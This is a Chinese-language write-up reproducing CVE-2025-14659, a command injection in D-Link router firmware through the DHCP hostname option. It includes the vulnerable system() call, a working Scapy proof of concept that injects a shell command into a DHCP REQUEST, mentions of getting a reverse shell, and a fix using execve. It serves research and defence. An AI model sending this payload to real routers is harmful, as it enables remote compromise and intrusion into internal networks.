CVE-2025-14659 D-Link路由器 命令注入漏洞复现

一、漏洞信息

影响范围

受影响固件版本:DIR-760LB1 v203b03及更早版本
由于漏洞组件为DHCP Client,攻击链路为:DHCP client → router DHCP server → mydlink event daemon → system() 命令拼接
由于为DHCP通信时触发,一般情况下需要局域网环境(同一个广播域/LAN内)
故攻击前置条件为:已接入网络

二、复现分析

1.环境模拟

复现环境:

  1. Ubuntu 24.04 LTS虚拟机
  2. FirmAE模拟

使用FirmAE进行固件模拟

先行检测,确实能仿真:

1
sudo ./run.sh -c DIR860L ./firmwares/DIR-860L_REVB_FIRMWARE_2.03.B03.ZIP

image.png

启动模拟:

1
sudo ./run.sh -r DIR860L ./firmwares/DIR-860L_REVB_FIRMWARE_2.03.B03.ZIP

image.png

image.png

2. 漏洞发现

根据漏洞报告得知漏洞位于DHCP守护进程的一个功能,对hostname参数操纵可以导致命令注入

image.png

在/usr/sbin/udhcpd程序中,发现DHCP相关的信息:

image.png

同时发现程序中存在几个system函数调用

image.png

image.png

根据字符串,程序通过 Unix Domain Socket 向另一个守护进程发送事件通知
usockc是Unix Socket Client NEW_DEVICE可能是局域网发现新设备上线的事件
对比两个不同情况,可以得出v33应为hostname

image.png

hostname得出位置是从v31,也就是get_option(v48, 12)。相当于是从客户端DHCP_REQUEST提取Option12,v44是MAC地址,v36是转换后IP 字符串

image.png

1
2
3
4
5
6
7
char cmd[256];

sprintf(cmd,
"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n",
mac, ip, hostname);

system(cmd);

最后system执行的就是system(“usockc /var/mydlinkeventd_usock NEW_DEVICE,MAC地址,IP 地址,hostname 恶意命令\n”)
而且前面也没有对hostname进行输入的过滤

但是想要进入到这个位置需要先通过lease_by_chaddr
image.png

必须要有现有租约,然后发送续租的时候,同时带上hostname即可触发漏洞

3. 攻击流程

  1. 第一次建立租约:正常申请IP
  2. hostname构造payload进行续租,触发命令注入 RCE
  3. 权限维持:反弹shell、植入木马等

漏洞触发时序:

1
2
3
4
5
6
7
8
9
10
11
12
13
Client            Router(udhcpd)        mydlink daemon
| DHCP DISCOVER |
|------------------>|
| DHCP OFFER |
|<------------------|
| DHCP REQUEST |
|------------------>|
| DHCP ACK |
|<------------------|
| | lease_by_chaddr()
| | extract hostname
| | system(usockc ...)
| |------------------> execute

4. 复现攻击

image.png

向路由器用的网卡请求IP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 $ sudo dhclient -v tap2_0     
Internet Systems Consortium DHCP Client 4.4.3-P1
Copyright 2004-2022 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/

Listening on LPF/tap2_0/26:c6:3b:26:c6:03
Sending on LPF/tap2_0/26:c6:3b:26:c6:03
Sending on Socket/fallback
xid: warning: no netdev with useable HWADDR found for seed's uniqueness enforcement
xid: rand init seed (0x6a65e49e) built using gethostid
DHCPDISCOVER on tap2_0 to 255.255.255.255 port 67 interval 3 (xid=0x13887751)
DHCPOFFER of 192.168.0.191 from 192.168.0.1
DHCPREQUEST for 192.168.0.191 on tap2_0 to 255.255.255.255 port 67 (xid=0x51778813)
DHCPACK of 192.168.0.191 from 192.168.0.1 (xid=0x13887751)
Setting LLMNR support level "yes" for "5", but the global support level is "no".
bound to 192.168.0.191 -- renewal in 290907 seconds.

获得IP:
IP:192.168.0.191
MAC:26:c6:3b:26:c6:03

然后关闭自动续租,防止继续发送正常的续租包干扰

测试ping命令poc,测试任意命令执行成功!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from scapy.all import *

iface = "tap2_0"
mac_address = "26:c6:3b:26:c6:03"
requested_ip = "192.168.0.191"
dhcp_server_ip = "192.168.0.1"
attacker_server = "192.168.0.2:12345"
hostname = f"; ping 192.168.0.2"

mac_bytes = bytes.fromhex(mac_address.replace(":", ""))

dhcp_request = (
Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=mac_bytes, xid=0xb50e192a) /
DHCP(options=[
("message-type", "request"),
("requested_addr", requested_ip),
("server_id", dhcp_server_ip),
("hostname", hostname),
"end"
])
)

print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=False)

image.png

接收到路由器执行的ICMP数据包,任意命令执行

image.png

成功wget访问服务

三、POC分析

主要逻辑:使用Scapy构造DHCP Request,关键点为hostname的时候可以拼接任意命令执行,后续还可上传MSF马拿到反弹shell。可作为内网入口点进行进一步内网渗透

四、检测与防御

使用execve替代system

修复建议:使用execve替代system,system会自动解析 shell命令,没有参数隔离,可使用execve规避,使得参数不进入shell解析:

1
2
3
4
5
6
7
8
9
10
11
char *argv[] = {
"/usr/bin/usockc",
"/var/mydlinkeventd_usock",
"NEW_DEVICE",
mac,
ip,
hostname,
NULL
};

execve("/usr/bin/usockc", argv, NULL);